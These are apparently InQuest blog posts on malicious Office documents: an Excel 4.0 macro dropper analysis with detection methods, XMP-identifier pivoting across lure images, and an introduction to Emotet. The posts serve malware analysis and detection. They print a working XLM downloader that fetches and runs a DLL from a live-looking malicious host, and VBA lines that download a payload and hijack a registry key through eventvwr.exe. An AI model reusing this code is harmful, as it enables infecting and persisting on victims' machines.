We can easily patch this condition by changing TRUE to FALSE.

It then jumps to U33 (agawf23f label):

=IF(ISNUMBER(SEARCH("s",Sheet1!S70)), GOTO(P54), ON.TIME(NOW()+"00:00:02", "rstegerg3")) =RETURN() =IF(ISNUMBER(SEARCH("s",Sheet1!S70)), GOTO(P54), ON.TIME(NOW()+"00:00:02", "agawf23f")) =RETURN()

This file also contains a web query object. The remote URL is seen below (hxxps://tdvomds[.]pw/12341324rfefv):

The web query will populate a few cells in Sheet1 if it can successfully connect to the remote URL. The above macrosheet copies these�cells from Sheet1 to the macrosheet and then executes the lines.

Again, we use mitmproxy to capture the webquery response. Another approach is to modify the macro to prevent the execution of the second-level macro before enabling the macro. However, we are also interested in capturing the HTTP response.

The HTTP response contains an XHTML document, and this time, we are worthy of receiving the next-stage payload:

<html> <head><base href="/lander/df3f1f14f134f314f/index.html"> <link rel="stylesheet" href="resource://content-accessible/plaintext.css"> </head> <body> <pre> ="https://tdvomds.pw/fef23f23f" =GET.WORKSPACE(26) ="C:\Users\"&R[-1]C&"\AppData\Local\Temp\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr" ="C:\Users\"&R[-2]C&"\AppData\Local\Temp\"&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&RANDBETWEEN(100,999)&".vbs" ="C:\Users\"&R[-3]C&"\AppData\Local\Temp\"&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&RANDBETWEEN(1000,9999)&".vbs" =IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))), GOTO(R[2]C),) =IF(ISNUMBER(SEARCH("64",GET.WORKSPACE(1))), GOTO(R[7]C),) =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,R[-7]C,R[-5]C,0,0) =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2) =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe",""&R[-7]C&",DllRegisterServer",0,5) =CLOSE(FALSE) =LEFT(CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122)), RANDBETWEEN(4, 8)) =LEFT(CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122)), RANDBETWEEN(4, 8)) =FOPEN(R[-10]C,3) =FWRITELN(R[-1]C,"Dim "&R[-3]C&", "&R[-2]C&"") =FWRITELN(R[-2]C,"Set "&R[-4]C&" = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")") =FWRITELN(R[-3]C,""&R[-5]C&".setOption(2) = 13056") =FWRITELN(R[-4]C,""&R[-6]C&".Open ""GET"", """&R[-17]C&""", False") =FWRITELN(R[-5]C,""&R[-7]C&".setRequestHeader ""User-Agent"", ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)""") =FWRITELN(R[-6]C,""&R[-8]C&".Send") =FWRITELN(R[-7]C,"If "&R[-9]C&".Status = 200 Then") =FWRITELN(R[-8]C,"Set "&R[-9]C&" = CreateObject(""ADODB.Stream"")") =FWRITELN(R[-9]C,""&R[-10]C&".Open") =FWRITELN(R[-10]C,""&R[-11]C&".Type = 1") =FWRITELN(R[-11]C,""&R[-12]C&".Write "&R[-13]C&".ResponseBody") =FWRITELN(R[-12]C,""&R[-13]C&".SaveToFile """&R[-23]C&""", 2") =FWRITELN(R[-13]C,""&R[-14]C&".Close") =FWRITELN(R[-14]C,"End If") =FCLOSE(R[-15]C) =EXEC("explorer.exe "&R[-26]C&"") =WAIT(NOW()+"00:00:05") =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2) =FOPEN(R[-28]C,3) =FWRITELN(R[-1]C,"Set obj = GetObject(""new:C08AFD90-F2A1-11D1-8455-00A0C91F3880"")") =FWRITELN(R[-2]C,"obj.Document.Application.ShellExecute ""rundll32.exe"","" "&R[-32]C&",DllRegisterServer"",""C:\Windows\System32"",Null,0") =FCLOSE(R[-3]C) =EXEC("explorer.exe "&R[-32]C&"") =FILE.DELETE(R[-34]C) =CLOSE(FALSE) =RETURN() </pre> </body> </html>
�

The content of "<pre>" element from the XHTML document is written to the sheet and executed as the next-stage:

In this particular case, the pivot macro downloads a DLL file from hxxps://tdvomds[.]pw/fef23f23f (acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd�(warning, actual sample) and executes rundll32 to call its DllRegisterServer function to register/execute it. The logic within the DLL communicates with the following C&C servers:

hxxps://aquolepp[.]pw/milagrecf.php
hxxps://dhteijwrb[.]host/milagrecf.php

Detection and Mitigation

Optical Character Recognition (OCR)

A solid generic approach to detect this and many similar malicious document lures is to carve out the embedded image and then extract the semantic content via OCR. Within the XLS/BIFFv8 format, records have a maximum size of 8,228 bytes. If the size of data is greater than what can fit in a single record, then the data must be split into chunks. The first chunk is put in the first record, and the rest of the data chunks are placed in subsequent�CONTINUE (3Ch)�records. To successfully extract images from XLM files, one needs to strip these�CONTINUE�headers from the extracted image. To accomplish this task automatically, we've extended the oledump BIFF plugin (plugin_biff.py) to include a new command line switch for extracting images. You can find our patch in our Github repository (lines 570 to 603):

https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592

Suspicious Attributes

Didier Steven's oledump�is a de facto tool in the arsenal of a maldoc analyst. We can leverage the BIFF plugin modified above to extract images, to filter for the DCONN record leveraged by both of the documents to retrieve a next-stage pivot:

$ oledump.py -p plugin_biff sample00/inv-27101.xls --pluginoptions "-o 876" � 1: � � �4096 '\x05DocumentSummaryInformation' � 2: � � � 240 '\x05SummaryInformation' � 3: � �101088 'Workbook' � � � � � � � �Plugin: BIFF plugin � � � � � � � � �0876 � �135 DCONN : Data Connection

Additionally specifying the option to dump contents as a string, one can expose the embedded URL as well:

$�oledump.py -p plugin_biff sample00/inv-27101.xls --pluginoptions "-o 876 -s" � 1: � � �4096 '\x05DocumentSummaryInformation' � 2: � � � 240 '\x05SummaryInformation' � 3: � �101088 'Workbook' � � � � � � � �Plugin: BIFF plugin � � � � � � � � �0876 � �135 DCONN : Data Connection � � � � � � � � � ASCII: � � � � � � � � � �Connection � � � � � � � � � �hxxps://pnxkntdl[.]xyz/KJSDBViad7 � � � � � � � � � �Sheet1!DSKVJBdsj2

We've written and open-sourced a generic YARA hunting rule that looks for Microsoft Excel documents that contain a DCONN record and a URL:

Microsoft Excel Data Connection

To increase the detection accuracy, we can combine the above YARA rule with the following one to check the existence of hidden and "very" hidden macro sheets:

Microsoft Excel Hidden Macro Sheet

The samples above are all available for research and download via our open data portal https://labs.inquest.net.

IOCs

a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af
acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd
bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f
hxxps://aquolepp[.]pw/milagrecf.php
hxxps://dhteijwrb[.]host/milagrecf.php
hxxps://pnxkntdl[.]xyz/KJSDBViad7
hxxps://tdvomds[.]pw/12341324rfefv
hxxps://tdvomds[.]pw/fef23f23f
aquolepp[.]pw
dhteijwrb[.]hos
pnxkntdl[.]xyz
tdvomds[.]pw

Originally published 2020-03-18 on the InQuest blog. Written with Amirreza Niakanlahiji.

Adobe XMP: Tales of an Overlooked Anchor

2019-09-30

Blog post by Pedram Amini and Mike Remen

Introduction

In this blog, we discuss Adobe Extensible Metadata Platform (XMP) identifiers (IDs) and how they can be used as both pivot and detection anchors. Defined as a standard for mapping graphical asset relationships, XMP allows for tracking of both parent-child relationships and individual revisions. There are three categories of identifiers: original document, document, and instance. Generally, XMP data is stored in XML format, updated on save/copy, and embedded within the graphical asset. This last tenet is critical to our needs as we'll be tracking the usage and re-usage of both malicious and benign graphics within common Microsoft and Adobe document lures.

Background

Let's begin with a visual reference. In the following graphic, each column represents a single asset. Each row within that column represents a unique revision or "instance" of that asset. The first column represents the original asset with each subsequent column representing a copy of the previous column:

Reference

Each instance of the asset carries with it three identifiers. The Original Document ID (OID), Document ID (DID), and Instance ID (IID). The Instance ID (IID) is updated on each saved revision of the asset. The Document ID (DID) remains the same for all revisions but is unique to that copy of the asset. Finally, the Original Document ID (OID) is a backreference to the original asset from which it was derived. We have observed two formats for these identifiers: MD5 hash (32 bytes) and GUID (36 bytes). Adobe XMP is an old standard originating back to 2001. To our knowledge, no one has previously applied the standard towards malware analysis.

Application and Alternatives

Having detailed the definitions, the question remains, how are these useful? First, graphical assets are commonly re-used across malware lures. Consider for example Microsoft Office documents that embed an image coercing the user to "enable content". While the macro and payload may vary from sample to sample, we have observed the same graphical asset re-used across many variants. Second, graphical assets are commonly lifted from legitimate sources. Examples here include fake invoice and phishing scams that embed legitimate company logos. In either case, tracking the usage of a graphical asset can prove valuable.

There are alternatives to XMP of course. In order of worst to best applicable for this use case (in our humble opinion), one can lean on: cryptographic file hashes, Optical Character Recognition (OCR), or perceptual hashes (aHash, pHash, dHash, wHash). While XMP data is easily stripped, when available, it provides advantages over all of these techniques:

Cryptographic file hashes such as MD5, SHA1, SHA256, etc vary wildly with even a single bit change.
OCR is a compute-intensive and error-prone process. We're already seeing malware authors leverage techniques to decrease the efficacy of OCR by, for example, implementing blurring or leveraging different shades of the same color for the foreground text and background. Additionally, not all graphical assets have text.
Perceptual hashes are also compute-intensive and error-prone, but generically a solid approach to apply when XMP data is unavailable.

In practice, InQuest watches ~1000 unique XMP IDs for the purposes of malware discovery. We utilize YARA hunt rules atop of VirusTotal Intelligence to harvest files into our corpora for further analysis (Deep File Inspection) and catalog. A significant slice of this data is made freely available to researchers via our free (as in beer) and open InQuest Labs data portal. Search an ever growing corpus of malicious and benign document samples by artifacts such as URLs, domains, IPs, e-mail addresses, file names, and XMP IDs. Upload documents for analysis and inclusion in the corpus. The usage of XMP IDs to anchor on new samples frequently results in the discovery of novel documents with low AV detection rates. Throughout the remainder of this blog, we'll reference samples from labs.inquest.net so that readers can follow along with real-world samples.

Microsoft Office DOCX with PNG

We begin with a simple sample. A Microsoft Office Word Document, in DOCX format:

edb24c68045b419bc45ada31f39dca62e8d6bec7b64e8d82d863f91213a398b8

Beginning in 2007, Microsoft changed the default document file format from the Compound Document Format (CDF/OLE) to the Open XML format. These files can simply be renamed from .docx to .zip and decompressed with standard tools. Simply unzipping this document will reveal the following image in the path ./word/media/image1.png:

A classic malware lure that entices the user into enabling active content which, in turn, will execute malicious macro logic to pivot to further payload stages. Note that this document lure triggers detection through analysis of the semantic context embedded within the image and extracted via Optical Character Recognition (OCR). You can see that layer exposed via InQuest Labs as depicted here in a screenshot excerpt:

Use the labs portal to pivot to other samples with coercive content in the OCR or plain-text semantic layers. While this blog is not intended to cover the specifics of the macro malware, this is a well-rounded sample in the sense that it combines data from multiple layers in an attempt to avoid detection and we'll take a slight detour to dissect it. These layers are trivially exposed through Deep File Inspection (DFI), a core tenet of the InQuest platform. Readers can follow along via this direct link on InQuest Labs, we begin with the following excerpt from the "Embedded Logic" layer which is executed upon document open via the startup hook "Auto_Open()":

    For i = 1 To 65535555
        If i = 65535555 Then
            For t = 1 To 65535555
                If t = 65535555 Then
                    For b = 1 To 65535555
                        If b = 65535555 Then
                            For a = 1 To 65535555
                                If a = 65535555 Then
                                    For x = 1 To 65535555
                                        If x = 65535555 Then

Five embedded loops, each looping to 65,535,555, for a total of 327,677,775 seemingly superfluous executed directives before the next block of logic is executed. What's the purpose of this? Probably an attempt at evading sandbox technologies that leverage dynamic analysis to monitor the behavior of samples in a controlled environment. By their nature, sample detonation must be limited in some way, be it based on time or instruction count. You can read more about sandbox technologies in our previous blog Defense in Depth: Detonation Technologies. Looking beyond this evasion logic, note that data is read from the "Semantic Context" layer of the document:

    Set c = ActiveDocument.Content

The data read is:

    Starthttp://bech0r.net/test.exeEnd

The "Start" and "End" markers are then stripped off and subsequent payload downloaded, executed, and hooked into the Windows Registry for persistence. The key lines of code from the VBA macro are shown here:

    StartWord = "Start": EndWord = "End"
    ...
    geturl = Replace(Replace(c.Text, StartWord, ""), EndWord, "")
    ...
    Call DownloadFile(URLtoFile, FilePath + "\payload.exe")
    ...
    Call RegiWrite("HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\", FilePath + "\payload.exe")
    ...
    RetVal = CreateObject("WScript.Shell").Run("eventvwr.exe")

The final executable payload, test.exe (VirusTotal, Joe Sandbox), turns out to be a harmless pentest sample of sorts as the executable is downloaded from http://bech0r.net, home to a legitimate security researcher (side note: awesome background cinematic hacker ambient beat on this site� this is the soundtrack we're using to kick off all hack sessions moving forward). Here is a screenshot of the benign output indicating the success of the execution of the lure:

Switching focus back to the task at hand, let's examine the AV consensus for the document lure on VirusTotal. Detection rates began with 14 vendors on 7/15/2018 and matured to 31 vendors on 9/24/2019, as depicted here:

We can leverage standard Linux command-line tools to extract the XMP IDs from the image:

$ strings ./word/media/image1.png | grep xpacket | xmllint --format - | grep iid


    <rdf:Description
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"'
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    rdf:about=""
    xmpMM:OriginalDocumentID="xmp.did:59D68E8C27A2E711964BBD7939DA4803"
    xmpMM:DocumentID="xmp.did:5F6437DAA22811E7975EC6C88D5BC4AF"
    xmpMM:InstanceID="xmp.iid:5F6437D9A22811E7975EC6C88D5BC4AF"
    xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
    <xmpMM:DerivedFrom
    stRef:instanceID="xmp.iid:59D68E8C27A2E711964BBD7939DA4803"
    stRef:documentID="xmp.did:59D68E8C27A2E711964BBD7939DA4803"/>

Or, alternatively, use the ever popular Exiftool:

$ exiftool ./word/media/image1.png | grep -i xmp


    XMP Toolkit                     : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Original Document ID            : xmp.did:59D68E8C27A2E711964BBD7939DA4803
    Document ID                     : xmp.did:5F6437DAA22811E7975EC6C88D5BC4AF
    Instance ID                     : xmp.iid:5F6437D9A22811E7975EC6C88D5BC4AF
    Derived From Instance ID        : xmp.iid:59D68E8C27A2E711964BBD7939DA4803
    Derived From Document ID        : xmp.did:59D68E8C27A2E711964BBD7939DA480

Regardless of the approach, we're going to leverage the IOC pivot tool on InQuest Labs to search for other samples that may contain images derived from the same parent asset (59D68E8C27A2E711964BBD7939DA4803).

InQuest Labs IOC Pivot Search

The pivot reveals two additional samples:

6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5 (VT, InQuest Labs)
0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa (VT, InQuest Labs)

Detection rates for sample 6b0aad27 started with 20 vendors on 8/19/2018 and matured to 34 vendors on 9/24/2019. Detection rates for 0aa7b155 started with only 6 vendors on 8/19/2019 and matured to 19 vendors on 9/24/2019. Their relevant scan histories are depicated below:

6b0aad2732169740ba5556ec7a8c90da05af208971a3821ab0c9c1fbdc4961f5

0aa7b1554cf5a8deb29b145041623d7c67e42c04801637adb02b26203a96caaa

We can immediately see the value of leveraging XMP IDs to identify related and potentially stealthier samples of the same campaign. As a generalized workflow:

Ingest files from a variety of sources, both benign and malicious.
Extract graphical assets looking for XMP identifiers.
Catalog these identifiers and reference that catalog for pivoting to other samples.

Researchers already employ similar tactics on IP and domain IOCs. This approach provides a pivot engine for a subset of file content.

Microsoft Office DOCX with JPG

Having demonstrated the fundamental value of XMP identifier pivoting, let's dive into another DOCX example, this time with an embedded JPG. This sample is also available on InQuest Labs so readers can follow along, the SHA256 hash value is:

fa97740770f45666ed17ca3b536b513bd99cbfa0c1feeb25dc5c08019831969e

AV consensus on this malicious document lure started with 6 vendors on 7/22/2019 and matured to 32 vendors by 9/29/2019. Once again, downloading, renaming to .zip, and decompressing the archive results in the discovery of a graphical asset, ./tge-zip-1-1/word/media/image2.jpeg, shown here:

There's another image in the media folder, image1.jpeg, we'll circle back to that shortly. Looking at the extracted IOCs panel under InQuest Labs, we see a number of XMP IDs in both GUID and MD5 formats:

The XMP IDs above are collected from all graphical assets that were discovered in the DFI process. We can pivot on each of the IOCs directly from the interface, which will include the "xmp.[doi]id:" prefix. Stripping the prefix will expand our search and we've curated the complete list for your convenience and exploration here:

While we're focused on XMP pivots in this blog, readers should note that there are other interesting pivots that can be made as well, including:

OCR pivot: https://labs.inquest.net/dfi/search/ext/ext_ocr/enable%20content
IP IOC pivot: https://labs.inquest.net/dfi/search/ioc/ip/54.39.233.132

Let's manually extract the XMP identifiers from image2.jpeg using Exiftool and focus solely on those:

$ exiftool image2.jpeg | grep -i xmp

    Toolkit                          : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                      : xmp.iid:CAE628A27467E911AD18A821864C67C5
    Document ID                      : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Original Document ID             : xmp.did:B3D4F1219157E911B37B9950729CB11D
    History Instance ID   XMP        : xmp.iid:B3D4F1219157E911B37B9950729CB11D,
                                       xmp.iid:CAE628A27467E911AD18A821864C67C5
    Derived From Instance ID         : xmp.iid:C9E628A27467E911AD18A821864C67C5
    Derived From Document ID         : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Derived From Original Document ID: xmp.did:B3D4F1219157E911B37B9950729CB11D

The instance ID for this specific asset is CAE628A27467E911AD18A821864C67C5, looking one level up at the document ID or original document ID we see B3D4F1219157E911B37B9950729CB11D. We can pivot on this identifier through InQuest Labs:

https://labs.inquest.net/dfi/search/ioc/xmpid/B3D4F1219157E911B37B9950729CB11D

As of the time of this writing, the above search results in 88 different XMP records spread across 44 unique files. The complete list of SHA256 hashes is listed here in alphabetical order. We've highlighted the 8th hash below, more on this sample in the next segment.

00121f1606d92c3a1e33c1d4fdf46240dafe3f5e188c15a70b19b2bf7af1c227
06d2335b3e09d7e1e5c7d5c130c908fb2ecc3203f3588f965597d01e2a8b6937
0dfaa85dfbc21fed86337d2b3fdea8f82679ad23cbdeb3421d5f96e4dff8acfb
0f4004c71d7be998222325b9692ae3c302995ceba152e71cff567103dcd4d5fc
1f2c096dbf1229c381e9c8d4ac462c35f2da6991fd278d93c476d14d48848243
1f4fcfd867258e15a99ac77f4a0c3b57ecd1fbf9c76f0e7b47c41a475d84679f
3380235f6de3db4eac0f1212a2608f8b02b1cef68cf5db34e445e729623e686a
38aa04842e21290b90e50ab2d724dbbdfd47767f072f7351f51af107125bc7d1
3c57e01c98454cab1c80d79bec69f562bdeec063ab4fb96c174fb9b2ec58c844
43179d0781d2060a64fe30229a02839cd3bde5d2f324de35b3e0281b0e737a97
47079047672a5623fd32d2ee59e572125f813693c0e4500bdddfb8da443555bf
4e4f051a44d6695c39133e8ca9efbc5b9e405047e2de4cb5dc1e686466a92121
4fa9446c629c3eac4e3e08edec00014520231ba9cca7d33243c8be857aad6f81
5015f68a8c4a3bb1ca8617210311d95275bd2950475cc4dca17a533de53144e1
5042143c8d1ca43a1bc9cf7e9040fdaec1feded1df63a636dfedb639945a2fcc
5413abf53b1849ce6df0b033b40cb7b57672452837bb8288e67c4ff88a48c3ae
54a029ed71862a19c4b891dc87f5388d10f125f2fe71ac891f7c19b7e814f8f4
54ebc0d9d9d2a78d4e6d59abdadfed06ea4fa828786a4690a5a1c74bba3ce2cd
55d837894d33312359cf8dc75def9571ea2a039848fc8c3b791090b97aa825f7
5b88f32d73be23510dc431977a67049a94ebecb8b8d20a53b3b0d878482baa0e
73600566cf58f255b6e4432edeb6387abf20b56d6f1ddbb98fea3db7d4c4c85d
7e3428e040e27afb40bfdd1af3533cc6353539869baa254424df8a40ee56ca93
7f971db182b02c6e0dca36e010304b5f684e9909db586f5a983d288c9eef26c8
879737700c55cd430e6e6dd7b89cf65df9c7f4eda40488a5c6dcd3a7ff898afc
880a410c6fd450a5a8c353a3dad432b6ea763bfe9ad258dab685ccf922ae297b
8b0464dd223a3478fa4053410bd0e3ee190eb151c473ef339dd4a1f99fffc626
8d776245b87ccdd6dddf1e2f5eccf0315de6e899490c2a78a008b6115fc12c46
8ec3a628d9b1d49201917978c24f1e2891b57b163f0f5bb3b51251474d71598b
9506670a5d7f941bf96120353408a60805f5c3822e3946997a3a0a712703423a
96fdb605c2bbd3a8b570e5c23f9f92ee83d37ca841ab3add23ff01ff73d3a57e
97a476f1d46cfa6cd800b87baf5f7810cb6a5c232a831ac682b8bd376c8def70
980d8d3e67fb19ea5ef37aa2098225d10d97718f446d92b4e0d1b96980747adf
988f21477f5026b45ae691bbd69fe1fc1914d8a89eba18cf9a0a5ac1938c9754
ac868175af09137932aa8472be136ffa15a0cf2f6a04b397cb0bced6c48aad02
af9c1bd692933b925163b3899a003c54d4598c48edc2fc873d4e34d089b79308
b0b0953063b3cb8a380034104795176bfb51266b6b96c60716b4f272c88af9db
b45ff736c52a3e6a9ff0c93d63a9aa27906cb350d8311236b67d2d9d7fca8e41
b5986e67a0888ff58c7ca28b9433476d3866d5338a36a68e3e0297d0edda144a
bc6537ff96c9cb760170f4a0b5805f35591a31bf982bbd432cbcd44efe46c022
cc81be86c7896285698949e3015f1e940f0be91ddca045901e947f5d6bee03ff
ded9746abb7085f8a5ba1bb805b019ab6adeb85d93abe8b7cab4bdd5fa3e029c
e1359cfe046cd7137ab8480a893df358370ebb07266b0af222e257ee8ccd66e1
e786312e4226bf2c364fe96d3a7ff133b302681686dc31f45b661884d0686b76
fa97740770f45666ed17ca3b536b513bd99cbfa0c1feeb25dc5c08019831969e

More Interesting Pivots

Language

Recall from earlier in the blog we compared and contrasted a variety of methods for tracking graphical asset re-use across malware lures. Cryptographic file hashes, perception hashes, and OCR based semantic extraction. We posited that, when available, XMP identifiers provide a fast and valuable alternative to these methods. Let's take a look at highlighted 8th hash from the list above:

38aa04842e21290b90e50ab2d724dbbdfd47767f072f7351f51af107125bc7d1

This document lure provides a great example of the value of the XMP approach. Here's image2.jpeg from that sample:

Note that it is the German language equivalent of the image2.jpeg from the original lure. The unique instance ID for this asset is B6D4F1219157E911B37B9950729CB11D, as shown here through Exiftool:

$ cat image2.jpeg.exiftool | grep -i xmp

    XMP Toolkit                      : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                      : xmp.iid:B6D4F1219157E911B37B9950729CB11D
    Document ID                      : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Original Document ID             : xmp.did:B3D4F1219157E911B37B9950729CB11D
    History Instance ID              : xmp.iid:B3D4F1219157E911B37B9950729CB11D
    Derived From Instance ID         : xmp.iid:B5D4F1219157E911B37B9950729CB11D
    Derived From Document ID         : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Derived From Original Document ID: xmp.did:B3D4F1219157E911B37B9950729CB11D

But the asset shares the same parent ID of B3D4F1219157E911B37B9950729CB11D with CAE628A27467E911AD18A821864C67C5. To think about this in human terms. An initial asset was created and saved, then the text translated and resaved. Thus producing two unique assets with the same parent ID. While this relationship can also be derived from a perception hash, the XMP approach is far better performing. Again, readers should note that other pivot options are available. For example, searching for the German language equivalent of "Enable Content".

Impersonation

Recall from earlier in the DOCX with JPG example that we glazed over image1.jpeg. Let's circle back and take a look at that image now:

It looks like a template for a structured resume. The profile shot looks legitimate as well, though who knows in this day and age of generative algorithms. Carving out the profile photo and feeding it through the TinEye reverse image search, we get a match on Dr. Britta H�llermann, a [German university research assistant}(https://www.geographie.uni-bonn.de/research/rg/rg-evers/staff/britta-hoellermann) whose identity is seemingly being leveraged as part of the social engineering dimension of this malware campaign. Let's compare the XMP identifiers between the image above and the image found via the reverse image search below:

# malware lure embedded image. $ exiftool image1.jpeg | grep -i xmp


    XMP Toolkit                     : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                     : xmp.iid:78113FDD7F57E911B37B9950729CB11D
    History Instance ID             : xmp.iid:77113FDD7F57E911B37B9950729CB11D
    Document Ancestors              : xmp.did:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8

# reverse image search discovered match. $ wget https://www.geographie.uni-bonn.de/forschung/ags/ag-evers/Team/1bh.jpg $ exiftool 1bh.jpg | grep -i xmp


XMP Toolkit                     : Adobe XMP Core 5.5-c002 1.148022, 2012/07/15-18:06:45
Document ID                     : xmp.did:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8
Instance ID                     : xmp.iid:d1b150a4-7321-4874-b61e-ac58bf4f81d2
History Instance ID             : xmp.iid:635cbfe1-2c45-49f0-9158-19ec213c86e7,
                                  xmp.iid:ca378365-ad41-4284-8cb7-e8b627602372,
                                  xmp.iid:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8,
                                  xmp.iid:C4C93C76192068118083F8015B1BC4AF,
                                  xmp.iid:73B02411182068118083CE7276DA08A4,
                                  xmp.iid:0dad9cdc-3dc6-4118-8a5c-bb239234984a,
                                  xmp.iid:C5C93C76192068118083F8015B1BC4AF,
                                  xmp.iid:20659034222068118083CE7276DA08A4,
                                  xmp.iid:c5056276-dc8e-4f38-9aae-f04096a86fda,
                                  xmp.iid:AD90EF6D362068118083F8015B1BC4AF,
                                  xmp.iid:AE90EF6D362068118083F8015B1BC4AF,
                                  xmp.iid:222AB06C382068118083CE7276DA08A4,
                                  xmp.iid:d1b150a4-7321-4874-b61e-ac58bf4f81d2
Derived From Instance ID        : xmp.iid:AD90EF6D362068118083F8015B1BC4AF
Derived From Document ID        : xmp.did:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8

Notice the overlap here. The ancestor document GUID from the malware lure matches that of the asset discovered via reverse image search. Pivoting from this XMP identifier, we're able to enumerate other malware samples that impersonate Dr. H�llermann. We found ~150 unique malware samples with an average of ~10 AV detections on samples that overlap with VT. Tracing the campaign further we determine that the majority of final delivered executable payloads is ransomware, one example instance being:

720fbe60f049848f02ba9b2b91926f80ba65b84f0d831a55f4e634c820bd0848.

Wrapping Up...

We hope to have inspired additional research atop of sample clustering through XMP identifier relationships and look forward to feedback from the community with how we can make InQuest labs an invaluable tool for your research projects. Get in touch with us directly via Twitter or e-mail.

Originally published 2019-09-30 on the InQuest blog.

Emotet, Unmasking via Machine Learning

2019-07-03

Authored by: Steve Esling, Amirreza Niakanlahiji, and William MacArthur

There's plenty of malware to worry about in this world, and one of the most threatening (and costly) families out there is known as Emotet. Synonymous with Geodo / Heodo, Emotet has been evolving for the instant it was initially observed by information security practitioners in 2014. Emotet is a modular agent, information stealer, and downloader that most recently specializes in smuggling in other prolific trojans, usually ones that targeting banking information. This wasn't always the case. Initial intentions shifted towards becoming a malware delivery platform as Emotet's capability to spread undetected was exemplary in the malware ecosystem.

As of the time of writing, the tier-1 emotet Command and Control (C&C or C2) infrastructure is currently offline. It is well worth being prepared for its inevitable return however as this dormancy is likely temporal and related to the group retooling for the next major release. There is speculation that the next revision will include an exploit for a recent Microsoft Windows Remote Desktop Services vulnerability, [CVE-2019-0708](https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/). Emotet has been incredibly challenging to pin down, not only because it spreads rapidly through email delivery, but because its polymorphic, modular design allows its operators to constantly shift and change the code, making signature-based detection methods temporary solutions at best. Human experts are still usually able to discern if a given sample is Emotet or not after examining caught samples, but it�s a slow process that can�t possibly scale to production traffic volumes seen in the typical SOC environment. Fortunately, as we've discussed in previous blogs ([intro](https://inquest.net/blog/2018/11/14/Ex-Machina-Man-Plus-Machine), [random forest](https://inquest.net/blog/2018/12/28/Ex-Machina-Random-Forests), and [minhash](https://inquest.net/blog/2019/02/28/Ex-Machina-Family-Matters) for example), machine learning provides the tools necessary to emulate human analysis and automate it on a large scale. In this post, we'll talk further about the makings of Emotet and discuss how a previously built classifier can be re-trained and thereby re-tooled to assist in the discovery of evolving samples.

Emotet

There's a number of stages in the infection vector prior to the final delivery of the polymorphic Emotet executable payload, but before we glance at those. Let's review the high level functionality of Emotet. Comprised of modules, the following functionality is (at least) known to have been implemented:

The main module, responsible for loading other modules received from C2 infrastructure.
Address book harvester, performs e-mail spool analysis to lift target e-mails that can be passed to the spam module (see below).
Brute force module, attempts to connect to local network resources and brute force passwords, in an effort to copy itself to other systems.
Credential harvester, also present in most versions of Emotet, this module leverages NirSoft tools to lift credentials from installed web and mail clients.
E-mail harvester, responsible for the exfiltration of harvested e-mail data to C2 infrastructure.
Spam module, present in most version of Emotet and responsible for the continued e-mail borne spread of the contagion.
Distributed Denial of Service (DDoS) module, a dormant module that was active in earlier versions of Emotet.
Banking module, a dormant module that was active in earlier versions of Emotet.

Like most malware, there are a variety of stages in Emotet related malware campaigns. In the hunt for fresh evolving Emotet samples, we can focus on one or more of these stages, looking for commonalities or anchors that we can pivot on to identify other components of the infection vector. Examples include:

The initial delivery mechanism.
Final executable payload analysis.
C2 communication patterns.
C2 infrastructure (IP and DNS endpoints).

